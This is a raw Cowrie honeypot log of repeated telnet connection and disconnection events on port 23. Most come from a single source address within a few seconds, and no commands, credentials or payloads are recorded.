{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44030,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d0bb1fb0d9e","protocol":"telnet","message":"New connection: 208.115.219.122:44030 (10.17.0.5:23) [session: 6d0bb1fb0d9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:25.149089Z"}
{"eventid":"cowrie.session.closed","duration":31.028014183044434,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:25.158601Z","src_ip":"208.115.219.122","session":"21ea19ab6bd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44044,"dst_ip":"10.17.0.5","dst_port":23,"session":"1af245274339","protocol":"telnet","message":"New connection: 208.115.219.122:44044 (10.17.0.5:23) [session: 1af245274339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:25.295738Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44056,"dst_ip":"10.17.0.5","dst_port":23,"session":"29a6492fe3d1","protocol":"telnet","message":"New connection: 208.115.219.122:44056 (10.17.0.5:23) [session: 29a6492fe3d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:25.362313Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44066,"dst_ip":"10.17.0.5","dst_port":23,"session":"9003a84489f8","protocol":"telnet","message":"New connection: 208.115.219.122:44066 (10.17.0.5:23) [session: 9003a84489f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:25.474049Z"}
{"eventid":"cowrie.session.closed","duration":31.267318725585938,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:25.478240Z","src_ip":"208.115.219.122","session":"7d11fc1b3b4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44070,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6c922a4a695","protocol":"telnet","message":"New connection: 208.115.219.122:44070 (10.17.0.5:23) [session: e6c922a4a695]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:25.987727Z"}
{"eventid":"cowrie.session.closed","duration":30.197503805160522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:26.022260Z","src_ip":"208.115.219.122","session":"5d35faaa9fb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.376545429229736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:26.028579Z","src_ip":"208.115.219.122","session":"0f9b6baf5c8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44082,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1e019c44c64","protocol":"telnet","message":"New connection: 208.115.219.122:44082 (10.17.0.5:23) [session: f1e019c44c64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:26.033767Z"}
{"eventid":"cowrie.session.closed","duration":30.676090478897095,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:26.037399Z","src_ip":"208.115.219.122","session":"f289a111e8c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82126760482788,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:26.043343Z","src_ip":"208.115.219.122","session":"65f471babcbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44084,"dst_ip":"10.17.0.5","dst_port":23,"session":"a585b0280959","protocol":"telnet","message":"New connection: 208.115.219.122:44084 (10.17.0.5:23) [session: a585b0280959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:26.215522Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44098,"dst_ip":"10.17.0.5","dst_port":23,"session":"e35105c7fa1d","protocol":"telnet","message":"New connection: 208.115.219.122:44098 (10.17.0.5:23) [session: e35105c7fa1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:26.220997Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44104,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cdfd10c7d19","protocol":"telnet","message":"New connection: 208.115.219.122:44104 (10.17.0.5:23) [session: 6cdfd10c7d19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:26.634498Z"}
{"eventid":"cowrie.session.closed","duration":31.750224351882935,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:26.937958Z","src_ip":"208.115.219.122","session":"fc1011968f6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.089793920516968,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:27.044477Z","src_ip":"208.115.219.122","session":"62ebe4a7f6f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.24530601501465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:27.049126Z","src_ip":"208.115.219.122","session":"5707f6e46c49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44114,"dst_ip":"10.17.0.5","dst_port":23,"session":"60bce318815a","protocol":"telnet","message":"New connection: 208.115.219.122:44114 (10.17.0.5:23) [session: 60bce318815a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:27.057735Z"}
{"eventid":"cowrie.session.closed","duration":30.819710731506348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:27.061706Z","src_ip":"208.115.219.122","session":"5f65b022b80c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44130,"dst_ip":"10.17.0.5","dst_port":23,"session":"257d36be8176","protocol":"telnet","message":"New connection: 208.115.219.122:44130 (10.17.0.5:23) [session: 257d36be8176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:27.114601Z"}
{"eventid":"cowrie.session.closed","duration":31.096314668655396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:27.199049Z","src_ip":"208.115.219.122","session":"e0631ac2389b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65794086456299,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:27.214831Z","src_ip":"208.115.219.122","session":"39bf77b2dbae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44138,"dst_ip":"10.17.0.5","dst_port":23,"session":"d92021530f7b","protocol":"telnet","message":"New connection: 208.115.219.122:44138 (10.17.0.5:23) [session: d92021530f7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:27.321341Z"}
{"eventid":"cowrie.session.closed","duration":12.46931266784668,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:27.429108Z","src_ip":"151.255.38.62","session":"c5345c15cdae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.821778535842896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:27.449741Z","src_ip":"208.115.219.122","session":"1ce21da5965a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.320762872695923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:28.065301Z","src_ip":"208.115.219.122","session":"1dd026a95d86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.768816471099854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:28.211453Z","src_ip":"208.115.219.122","session":"17d52a983319","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44150,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fa79f842c59","protocol":"telnet","message":"New connection: 208.115.219.122:44150 (10.17.0.5:23) [session: 1fa79f842c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:28.260331Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44166,"dst_ip":"10.17.0.5","dst_port":23,"session":"919c65b189b7","protocol":"telnet","message":"New connection: 208.115.219.122:44166 (10.17.0.5:23) [session: 919c65b189b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:28.318081Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44168,"dst_ip":"10.17.0.5","dst_port":23,"session":"061d02781794","protocol":"telnet","message":"New connection: 208.115.219.122:44168 (10.17.0.5:23) [session: 061d02781794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:28.644949Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44170,"dst_ip":"10.17.0.5","dst_port":23,"session":"8166935aa5fc","protocol":"telnet","message":"New connection: 208.115.219.122:44170 (10.17.0.5:23) [session: 8166935aa5fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:29.069037Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44180,"dst_ip":"10.17.0.5","dst_port":23,"session":"70d1825100c4","protocol":"telnet","message":"New connection: 208.115.219.122:44180 (10.17.0.5:23) [session: 70d1825100c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:29.175795Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44186,"dst_ip":"10.17.0.5","dst_port":23,"session":"46c9279d6496","protocol":"telnet","message":"New connection: 208.115.219.122:44186 (10.17.0.5:23) [session: 46c9279d6496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:29.319645Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44188,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d400851afde","protocol":"telnet","message":"New connection: 208.115.219.122:44188 (10.17.0.5:23) [session: 2d400851afde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:29.486159Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44200,"dst_ip":"10.17.0.5","dst_port":23,"session":"51ddeffcdb9c","protocol":"telnet","message":"New connection: 208.115.219.122:44200 (10.17.0.5:23) [session: 51ddeffcdb9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:29.517221Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44212,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb26859ac6ae","protocol":"telnet","message":"New connection: 208.115.219.122:44212 (10.17.0.5:23) [session: bb26859ac6ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:29.562954Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44224,"dst_ip":"10.17.0.5","dst_port":23,"session":"3eb612e24af9","protocol":"telnet","message":"New connection: 208.115.219.122:44224 (10.17.0.5:23) [session: 3eb612e24af9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:29.819776Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44228,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd8d34241b82","protocol":"telnet","message":"New connection: 208.115.219.122:44228 (10.17.0.5:23) [session: fd8d34241b82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:29.972734Z"}
{"eventid":"cowrie.session.closed","duration":30.921694040298462,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:30.016791Z","src_ip":"208.115.219.122","session":"f1ddceaec2e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47195029258728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:30.043610Z","src_ip":"208.115.219.122","session":"a8f1c21d3579","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44236,"dst_ip":"10.17.0.5","dst_port":23,"session":"78f2276580cf","protocol":"telnet","message":"New connection: 208.115.219.122:44236 (10.17.0.5:23) [session: 78f2276580cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:30.095510Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44244,"dst_ip":"10.17.0.5","dst_port":23,"session":"289101f0b5d1","protocol":"telnet","message":"New connection: 208.115.219.122:44244 (10.17.0.5:23) [session: 289101f0b5d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:30.125406Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44258,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbf996c2ade2","protocol":"telnet","message":"New connection: 208.115.219.122:44258 (10.17.0.5:23) [session: dbf996c2ade2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:30.144907Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44268,"dst_ip":"10.17.0.5","dst_port":23,"session":"edcd51b80aef","protocol":"telnet","message":"New connection: 208.115.219.122:44268 (10.17.0.5:23) [session: edcd51b80aef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:30.204580Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44284,"dst_ip":"10.17.0.5","dst_port":23,"session":"849548636050","protocol":"telnet","message":"New connection: 208.115.219.122:44284 (10.17.0.5:23) [session: 849548636050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:30.288322Z"}
{"eventid":"cowrie.session.closed","duration":30.43856978416443,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:30.416216Z","src_ip":"208.115.219.122","session":"ff63d40172dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.986019372940063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:30.435574Z","src_ip":"208.115.200.90","session":"2f97492c1ed5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.083703756332397,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:30.508212Z","src_ip":"208.115.219.122","session":"d1cce9b60954","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.549495220184326,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:30.615610Z","src_ip":"208.115.219.122","session":"68c3a8a99463","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.41658329963684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:31.014607Z","src_ip":"208.115.219.122","session":"71defe293999","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.856884241104126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:31.019767Z","src_ip":"208.115.219.122","session":"a65b67305e29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.918376922607422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:31.022971Z","src_ip":"208.115.219.122","session":"714ee27e9e40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00509262084961,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:31.118296Z","src_ip":"208.115.219.122","session":"a28ab482b3d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44288,"dst_ip":"10.17.0.5","dst_port":23,"session":"4058d80eea41","protocol":"telnet","message":"New connection: 208.115.219.122:44288 (10.17.0.5:23) [session: 4058d80eea41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:31.123713Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44296,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b018ff79858","protocol":"telnet","message":"New connection: 208.115.219.122:44296 (10.17.0.5:23) [session: 1b018ff79858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:31.129834Z"}
{"eventid":"cowrie.session.closed","duration":30.401474952697754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:31.310526Z","src_ip":"208.115.219.122","session":"4be80126dacf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44302,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ff9b088fb60","protocol":"telnet","message":"New connection: 208.115.219.122:44302 (10.17.0.5:23) [session: 1ff9b088fb60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:31.322326Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44314,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a37c411c3a7","protocol":"telnet","message":"New connection: 208.115.219.122:44314 (10.17.0.5:23) [session: 5a37c411c3a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:31.412226Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44328,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f8c93f2a045","protocol":"telnet","message":"New connection: 208.115.219.122:44328 (10.17.0.5:23) [session: 3f8c93f2a045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:31.512359Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44342,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c3ba2a27334","protocol":"telnet","message":"New connection: 208.115.219.122:44342 (10.17.0.5:23) [session: 5c3ba2a27334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:31.565111Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44352,"dst_ip":"10.17.0.5","dst_port":23,"session":"dafd6e0cb12d","protocol":"telnet","message":"New connection: 208.115.219.122:44352 (10.17.0.5:23) [session: dafd6e0cb12d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:31.930850Z"}
{"eventid":"cowrie.session.closed","duration":30.360232830047607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:32.020632Z","src_ip":"208.115.219.122","session":"ab76cca98ea7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.887890100479126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:32.026082Z","src_ip":"208.115.219.122","session":"73caeef2293a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94604992866516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:32.031276Z","src_ip":"208.115.219.122","session":"b25f7bd72acf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82431983947754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:32.036609Z","src_ip":"208.115.219.122","session":"44f81698d527","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36698293685913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:32.094507Z","src_ip":"208.115.219.122","session":"94b9bacefa1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.955174207687378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:32.213196Z","src_ip":"208.115.200.90","session":"c7c744213295","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.715604305267334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:32.268354Z","src_ip":"208.115.219.122","session":"9ea7bd2262ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44360,"dst_ip":"10.17.0.5","dst_port":23,"session":"09449e903ca9","protocol":"telnet","message":"New connection: 208.115.219.122:44360 (10.17.0.5:23) [session: 09449e903ca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:32.490055Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44370,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dfc05f75068","protocol":"telnet","message":"New connection: 208.115.219.122:44370 (10.17.0.5:23) [session: 1dfc05f75068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:32.494226Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44386,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb994a676e49","protocol":"telnet","message":"New connection: 208.115.219.122:44386 (10.17.0.5:23) [session: eb994a676e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:32.498384Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44390,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1970f5de611","protocol":"telnet","message":"New connection: 208.115.219.122:44390 (10.17.0.5:23) [session: b1970f5de611]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:32.542544Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44398,"dst_ip":"10.17.0.5","dst_port":23,"session":"1883ddd39f3b","protocol":"telnet","message":"New connection: 208.115.219.122:44398 (10.17.0.5:23) [session: 1883ddd39f3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:32.653309Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44404,"dst_ip":"10.17.0.5","dst_port":23,"session":"1de8eae26fca","protocol":"telnet","message":"New connection: 208.115.219.122:44404 (10.17.0.5:23) [session: 1de8eae26fca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:32.732819Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44408,"dst_ip":"10.17.0.5","dst_port":23,"session":"01fcba796bf3","protocol":"telnet","message":"New connection: 208.115.219.122:44408 (10.17.0.5:23) [session: 01fcba796bf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:32.819463Z"}
{"eventid":"cowrie.session.closed","duration":31.028497457504272,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:32.825395Z","src_ip":"208.115.219.122","session":"61472e41c930","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.569234609603882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:33.036181Z","src_ip":"208.115.219.122","session":"8b9285ea5ed2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44420,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b831e74dccf","protocol":"telnet","message":"New connection: 208.115.219.122:44420 (10.17.0.5:23) [session: 4b831e74dccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:33.205989Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44424,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d652d694157","protocol":"telnet","message":"New connection: 208.115.219.122:44424 (10.17.0.5:23) [session: 5d652d694157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:33.210257Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":44432,"dst_ip":"10.17.0.5","dst_port":23,"session":"7456e1986620","protocol":"telnet","message":"New connection: 208.115.219.122:44432 (10.17.0.5:23) [session: 7456e1986620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:12:33.232102Z"}
